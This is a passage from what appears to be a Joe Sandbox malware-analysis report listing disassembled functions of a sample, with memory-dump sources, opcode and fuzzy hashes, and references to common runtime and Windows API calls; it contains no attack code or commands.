Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 2136f79745ede8276f47089a014402b7bf6408af598c439263753c318c377be5
Instruction ID: 58f98e6ee8291c6906ae94aec4f173b4af61b6d217e8dacafa635043522ce2b2
Opcode Fuzzy Hash: 2136f79745ede8276f47089a014402b7bf6408af598c439263753c318c377be5
Instruction Fuzzy Hash: A3112A75A0410AAFCF05DF98E94199F7BF5EF49304F044059F805EB251DB30D911CB65

Function 00197C60 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 00197CEA

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Concurrency::cancellation_token_source::~cancellation_token_source
String ID:
API String ID: 2028376226-0
Opcode ID: 677143c78d25e346daa6fb54b13dc3ca09655caeeb462dfa3413ea190efc8606
Instruction ID: 97d96918152419c9b6868149663538aec4b17f5be40642126d0fc11475dea82a
Opcode Fuzzy Hash: 677143c78d25e346daa6fb54b13dc3ca09655caeeb462dfa3413ea190efc8606
Instruction Fuzzy Hash: 9E11C9B1D0414AEBCB04DF98C591BEEBBB5FB59710F108259E519A7380DB349A41CBA0

Function 00199CB2 Relevance: 1.5, APIs: 1, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

stdext::threads::lock_error::lock_error.LIBCPMTD ref: 0019A353

Part of subcall function 0019B103: RaiseException.KERNEL32(E06D7363,00000001,00000003,0019141C,?,?,?,0019141C,?,001C5D2C), ref: 0019B163

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: ExceptionRaisestdext::threads::lock_error::lock_error
String ID:
API String ID: 3447279179-0
Opcode ID: 5e0b947086046dde1574fa02e1f3731577532c5643e2fe5576f6017083bd1b8a
Instruction ID: ee800fcd39db9bd69f457458e07b300a45dd6ff9e399901c2758a1e5e58a294f
Opcode Fuzzy Hash: 5e0b947086046dde1574fa02e1f3731577532c5643e2fe5576f6017083bd1b8a
Instruction Fuzzy Hash: 14F0B43880460D76CF04BAA8FD56D9D77BC6D20360F504124BC24A14D1EF70EB5885D2

Function 00198A90 Relevance: 1.5, APIs: 1, Instructions: 36COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMTD ref: 00198AA7

Part of subcall function 00191400: stdext::threads::lock_error::lock_error.LIBCPMTD ref: 00191409

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Concurrency::cancel_current_taskstdext::threads::lock_error::lock_error
String ID:
API String ID: 2103942186-0
Opcode ID: fd4866f437102a487fa32005822a79594537c9c0c9140b2b84e896e63a5ab335
Instruction ID: b0dee3dcfab68079672f19d07dfebde5f2236deb8c6abfa9d3ac9db6c145b801
Opcode Fuzzy Hash: fd4866f437102a487fa32005822a79594537c9c0c9140b2b84e896e63a5ab335
Instruction Fuzzy Hash: C9F0EC74D0010CABCF04EFA8D581AADF7B5AF55344F1481AAE8159B345E7349E91DB81

Function 00198850 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

allocator.LIBCONCRTD ref: 00198885

Part of subcall function 001974A0: _Allocate.LIBCONCRTD ref: 001974B4

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: Allocateallocator
String ID:
API String ID: 40054573-0
Opcode ID: 88af452f1867c620a7ed91bca1dbf0af90099f589f6509480a8af0c0073b2557
Instruction ID: 5dd4af6b98f23f85157691b6c72e185e60ce41f7e524f886b1b7d6b35c05a30f
Opcode Fuzzy Hash: 88af452f1867c620a7ed91bca1dbf0af90099f589f6509480a8af0c0073b2557
Instruction Fuzzy Hash: DB0196B4E00209EFCF04DF98C5819AEBBF1EF88304F2081A9D809A7355D730AA50CB94

Function 001A82AE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,001AE746,00000000,?,001AE746,00000220,?,?,00000000), ref: 001A82E0

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cfa0c1ef075c68ba2dab1041d09b812ef7a2f73c68b69f8c2d0711a42142e794
Instruction ID: 5252cfe8a6c04e1c045b256d69428b0439153e7d15d05f5572ec7feba7e16150
Opcode Fuzzy Hash: cfa0c1ef075c68ba2dab1041d09b812ef7a2f73c68b69f8c2d0711a42142e794
Instruction Fuzzy Hash: 0FE06D7D151A216BE7212AA9AC04F7B3E4C9F937A0F160122ED05A60D1CF64CC41C2E8

Function 001B3FA7 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000000,?,001B4397,?,?,00000000,?,001B4397,?,0000000C), ref: 001B3FC4

Memory Dump Source

Source File: 00000001.00000002.1951241691.0000000000191000.00000020.00000001.01000000.00000003.sdmp, Offset: 00190000, based on PE: true

Associated: 00000001.00000002.1951221065.0000000000190000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951268248.00000000001B8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951287823.00000000001C7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1951311250.00000000001C9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_190000_LisectAVT_2403002B_295.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 51e9e44374c20817674d63306a914eec87101b6cf5c6016a2c9d9895c962805e
Instruction ID: a53c10af53285c7da1b1f6918adab2558a5697a0e6baf20a2adfaa9d03232c80
Opcode Fuzzy Hash: 51e9e44374c20817674d63306a914eec87101b6cf5c6016a2c9d9895c962805e
Instruction Fuzzy Hash: CFD06C3200010DBBDF029F84DC46EDA3BAAFB4C794F014140BA1856020C732E861EB90

Function 0565AF68 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

3, xrefs: 0565B01D

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: f6cb802de3aa06d932591bfc6f9d00f879ee26bdd19d74cf207cc44246162844
Instruction ID: cc3de289d0cddd5014937517155e1560772ae6742b0af1e754f0c98f523ffd29
Opcode Fuzzy Hash: f6cb802de3aa06d932591bfc6f9d00f879ee26bdd19d74cf207cc44246162844
Instruction Fuzzy Hash: 9B41C2753042059FD714CB65D854E7AB7EAFFC8264F14856AE81ACB7A2DB31DC02CB90

Function 056565C0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e7dd2fbdd221cb3be6698f697c5dcd1cbe0ebb6d3279265e887f5412d08e74c
Instruction ID: e4ee8b0987988bd06a3fdd40ae44c3af3812c6495255a36f1ab86173d1ffc51f
Opcode Fuzzy Hash: 9e7dd2fbdd221cb3be6698f697c5dcd1cbe0ebb6d3279265e887f5412d08e74c
Instruction Fuzzy Hash: 2091BE70A042458FCB06CF58C494AAEFBB1FF48320F25859AC946AB761C735FC91CBA0

Function 05659F08 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c074338b609b491f8c8809acf0f95e4a2f35dfa06d5458db7eb45d3cbb7e748
Instruction ID: 45be6afa1365ed31c935a49dea134ffc1f68ed5c27b0a2d3e355f1600e2d30a2
Opcode Fuzzy Hash: 7c074338b609b491f8c8809acf0f95e4a2f35dfa06d5458db7eb45d3cbb7e748
Instruction Fuzzy Hash: 09510F30B043598FCB15DBB9C8506BEBBF6BF89210F0441A9E855DB791DB34E901CBA1

Function 0565EFB0 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a108010cdfa4f4f860274f37a5440317a0a98e665c9180cbd609e6ae7f4d5485
Instruction ID: a21da7686a1625e7b673ecde30d4354f146dcfb1b1fce2b5224cc8722b77c2b1
Opcode Fuzzy Hash: a108010cdfa4f4f860274f37a5440317a0a98e665c9180cbd609e6ae7f4d5485
Instruction Fuzzy Hash: DA6106B1E012489FDB14CFA9D484A9DFBF2FF89320F248169E809AB350DB74A945CF50

Function 0565EFA1 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dc015304b9c7fcb5d19ff72224d4b40097ba6268a357084a61ce6e8949e91b6
Instruction ID: 0c91c8affca1cee82d2214e536ea73ccf69c02ac82a27e978a3ac2b9ffdc457d
Opcode Fuzzy Hash: 0dc015304b9c7fcb5d19ff72224d4b40097ba6268a357084a61ce6e8949e91b6
Instruction Fuzzy Hash: E65109B1E052089FCB14CFA9D484B9DFBF2FF89720F188119E809AB354DB74A845CB91

Function 0565A808 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cee5152534806e3ccd1d4fd689ecd46ecea908305ae362f04cc27ba204fd1009
Instruction ID: 9d344d3f67615ea4af7a540158aa615fd54ef15927cdbc1e65b76e20a75eac1c
Opcode Fuzzy Hash: cee5152534806e3ccd1d4fd689ecd46ecea908305ae362f04cc27ba204fd1009
Instruction Fuzzy Hash: 57413974B042059FDB08DFA4C558AADBBF2BF8D611F1541A8E806AB791CB31DC02CB61

Function 0565A7F8 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c87f543d2871f0e37d69777afd32590e13af7add1887c04f5ad1de66389e61ef
Instruction ID: 468668aa183e8ef19bd2af920a75f81c333b92b22a50da3c70a6b5c60e7403a1
Opcode Fuzzy Hash: c87f543d2871f0e37d69777afd32590e13af7add1887c04f5ad1de66389e61ef
Instruction Fuzzy Hash: 5D316F74B402458FDB08DFA5D454AADBBF2BF8D321F188168E806AB751CB31DC02CB60

Function 0565049F Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a09fe3f92c2301a4c38f0808ca5d810eb63c2101956a7195bfdb58a30c71a08e
Instruction ID: 49865c061075ff5de8c8730d104e40165630b1f8b02d247b198ede2a4a93383a
Opcode Fuzzy Hash: a09fe3f92c2301a4c38f0808ca5d810eb63c2101956a7195bfdb58a30c71a08e
Instruction Fuzzy Hash: 41412834B11214DFCB58DF29D898AAE7BB2BF89710F148569E402EB7A0DB31EC41CB51

Function 056566D0 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82fd67c85a62efe53122c962a3ccfa5ec3b142e659520707d1070bb1755e3177
Instruction ID: d20c7b61d64ba79722cff087a87e5960c0260143d009d445f4bc5febec99da1c
Opcode Fuzzy Hash: 82fd67c85a62efe53122c962a3ccfa5ec3b142e659520707d1070bb1755e3177
Instruction Fuzzy Hash: 89412674A002059FDB05CF98C594AAAF7B1FF48310F2181A9C946AB764C732FC50CBA4

Function 056504B0 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1540f4eb3895044efe9777e5c6829158f26ad7df1e2566200e3ce7454c3ea2c5
Instruction ID: 4480c1f1f3a36dab672a2b177b831f1052a45e2bdded30eaf2fa90af5f81e5a9
Opcode Fuzzy Hash: 1540f4eb3895044efe9777e5c6829158f26ad7df1e2566200e3ce7454c3ea2c5
Instruction Fuzzy Hash: B5411974B11204DFCB58DF65D858AAE7BB2BF89720F108169E406EB3A0DB71EC41CB91

Function 0565FC60 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1504e023b89e288c1e4f18fa21300c673b2992027cb1d111ee64b635af5abd3b
Instruction ID: 16ff8c29be1d4a47066ca27f0b93f8a7c9ca8407cc04976d7d09bf9f95999bf6
Opcode Fuzzy Hash: 1504e023b89e288c1e4f18fa21300c673b2992027cb1d111ee64b635af5abd3b
Instruction Fuzzy Hash: 3D31BC75300701AFDB04EB78E854B9AB7D6BFC4624F108229E90ACB350DF71AC05CBA1

Function 0565E392 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e22a5f9454e728e4c0f98eb2d4b4234b247db85c79c1b87d148a41488a8ef6
Instruction ID: b17461f2a4142b94718c8002fd6c1b4260749c7c0a383ede6c58acf622e20336
Opcode Fuzzy Hash: 72e22a5f9454e728e4c0f98eb2d4b4234b247db85c79c1b87d148a41488a8ef6
Instruction Fuzzy Hash: 14316F70B402099FDF05DF69D454AAEBBF7AF88220F148169E901EB790EB359D01CBA5

Function 0565E4C8 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55a3563aaebd01d90ef4b04ea9208de28ad01d3eb4405228d10740218596ffd0
Instruction ID: 115dedd52cd0b7bc9491de1ddb8c8027aa8087940a6453cae9de4c36bed6b21d
Opcode Fuzzy Hash: 55a3563aaebd01d90ef4b04ea9208de28ad01d3eb4405228d10740218596ffd0
Instruction Fuzzy Hash: FA21B175E042198FCB11DFAEE8047DEBBF5EB88220F14806AD509E7340C7359905CBE5

Function 0565CAA7 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a262db0787a7a383019733712831b69a67640ba3dfb1052e31c8af814e14e258
Instruction ID: 0ed44208f8380a06c22359e4fcf00055c4553eda5b8476f74355a0ad6116be7b
Opcode Fuzzy Hash: a262db0787a7a383019733712831b69a67640ba3dfb1052e31c8af814e14e258
Instruction Fuzzy Hash: 8431D870A48345DFEB24CF69F04A388BFE2FB48324F14862EC855A7780D7381994CB80

Function 0565E3A0 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d17495556b83137f9a4dec5d9929ff8b8c6a5e17a7f65b82fe4e4436b6ff5eb
Instruction ID: e41f127d732f1793d09fa9042f8f430ae0215b6ca90b84a725467c8cae85794a
Opcode Fuzzy Hash: 4d17495556b83137f9a4dec5d9929ff8b8c6a5e17a7f65b82fe4e4436b6ff5eb
Instruction Fuzzy Hash: 51318E70B002099FDF05DF69D494BAEBBF7AF88224F108169E805EB350EB359D01CBA1

Function 05659EF8 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 822d812d743506f303a8c191702e51c5a66ed1533c389fda930684b9b530c40b
Instruction ID: 53af81c263487a4da361d6da118edbe65895300d02b10e4d865d7906aefdae83
Opcode Fuzzy Hash: 822d812d743506f303a8c191702e51c5a66ed1533c389fda930684b9b530c40b
Instruction Fuzzy Hash: 2D31DD30604354CFCB25CF79C8409BEBBFABF86214B0404A9E886C7752CB30D904CBA1

Function 031AE7B4 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952654771.00000000031AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 031AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31ad000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48aba7dc09911b21109da742d048dcc764f9fdf1e605fc36a51da9cc8ea81d75
Instruction ID: 938d32cd538c1baf515acb60fcbdda000695228eb089aacacb4a016ba4c5603a
Opcode Fuzzy Hash: 48aba7dc09911b21109da742d048dcc764f9fdf1e605fc36a51da9cc8ea81d75
Instruction Fuzzy Hash: 89212479504700EFDB09CF54D8C0B26BBA5FB88315F24C5ADE8094B256C336D456CBB2

Function 030DD720 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952403169.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30dd000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab56005fc0272f222e8ce5c622cc2bfe0c6c52cd0c21cb1bf75c941ea4499b7b
Instruction ID: 4c071535a955cfd80e5ce65936791731b1f7ed42dd44db6383fd9fd5d2aa30c1
Opcode Fuzzy Hash: ab56005fc0272f222e8ce5c622cc2bfe0c6c52cd0c21cb1bf75c941ea4499b7b
Instruction Fuzzy Hash: 962100B1505340EFDB15DF24D9C0B2BBBE5FF88314F2485E9E8090B656D336D456CAA2

Function 0565AEA4 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6eca9f3d75d53cf4c41a3cf0671d510b0a9104cae5eb576a2397b7fbf1192958
Instruction ID: 4c3c0a904ec09675d64c9c653979c161b72ad1115333da35ef69a3ef3fb58b6f
Opcode Fuzzy Hash: 6eca9f3d75d53cf4c41a3cf0671d510b0a9104cae5eb576a2397b7fbf1192958
Instruction Fuzzy Hash: C4113D797002198FDB04DBA8E844AEDB7F6FBC8625B0040A8E909DB725DB31DD05CB90

Function 0565CAB8 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b715353836ea3e7a7124a6c79eafd0a913daa4c86beb946385ceb178c139cc44
Instruction ID: 7642779ad12f21be4ada01ad0740c75dc3dbca8181158d9ee1c3d8c39fa3c4ce
Opcode Fuzzy Hash: b715353836ea3e7a7124a6c79eafd0a913daa4c86beb946385ceb178c139cc44
Instruction Fuzzy Hash: DC219AB0908348DFEB10CF6AE54A789BFF6FB48324F14822ED848A3700C3781954CB91

Function 031AE7AF Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952654771.00000000031AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 031AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31ad000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f924a6492aff5ac46ed83caf8371f1b3a378149effe0049ff22a57c655c72dee
Instruction ID: 51bd862f6b25a8c988bf4c3186db60e20ba735bc76eccec0c509624589a28e41
Opcode Fuzzy Hash: f924a6492aff5ac46ed83caf8371f1b3a378149effe0049ff22a57c655c72dee
Instruction Fuzzy Hash: 6021CD7A904640DFCB06CF14D9C4B16BF62FB48314F28C5A9EC094B256C33AD46ACFA1

Function 0565E2B8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561e64231fa38caea887f1ec99cc517452045eab313b7f20993343afc5277830
Instruction ID: 4d67ed1c46f9454bda584a33fb505ad9d09f8b9070748af0ad57813b6cd6efbe
Opcode Fuzzy Hash: 561e64231fa38caea887f1ec99cc517452045eab313b7f20993343afc5277830
Instruction Fuzzy Hash: 0F21FEB4E00205EFDB44EFB8E5849ADBBF2FF88610B149599D405EB311DB35AE01DB41

Function 0565CBAF Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b63731c300d1e5cd720dcc66b783c5f5664b4cdac8e9e337c7212f69582081
Instruction ID: d99c68b1951a9ced50f0619d7d3302d5471e96319bcebe2b31dc6fa68d1ad05a
Opcode Fuzzy Hash: 82b63731c300d1e5cd720dcc66b783c5f5664b4cdac8e9e337c7212f69582081
Instruction Fuzzy Hash: 5D11C172B443558FEB109FA8A494BE9F7E5BF44224F0481ABD908EB641D7705D04CB96

Function 030DD71B Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1952403169.00000000030DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 030DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_30dd000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c49e1436918ffffe8eac17734046f0835a394bc749fcc234a1dd016c016ac630
Instruction ID: 6c665fd8645c2fd29152d2c591098fda1a9f2c32a13fd5a63dc43bf0d26822f0
Opcode Fuzzy Hash: c49e1436918ffffe8eac17734046f0835a394bc749fcc234a1dd016c016ac630
Instruction Fuzzy Hash: 0711B176505280CFCB15CF14D9C4B16BFA2FF84314F28C5E9D8090B656C336D45ACBA2

Function 0565BFE0 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000003.1886292491.0000000005650000.00000040.00000800.00020000.00000000.sdmp, Offset: 05650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5650000_LisectAVT_2403002B_295.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59f8dcd7dad9d4c776617f9cff0678d9e07b534cf1cbdf7eeed0f205cf97d4fa
Instruction ID: d4cfc6a754e0dcdf8a11b7c8113a9fc29b9f95b5a8e54e3ffeceee3cde868c4e
Opcode Fuzzy Hash: 59f8dcd7dad9d4c776617f9cff0678d9e07b534cf1cbdf7eeed0f205cf97d4fa
Instruction Fuzzy Hash: 4211CE75A0C348AFC715EFB8E8065E9BFB6EF45311F0081AAE946973A1D6341942CBD2

Function 0565E2C8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

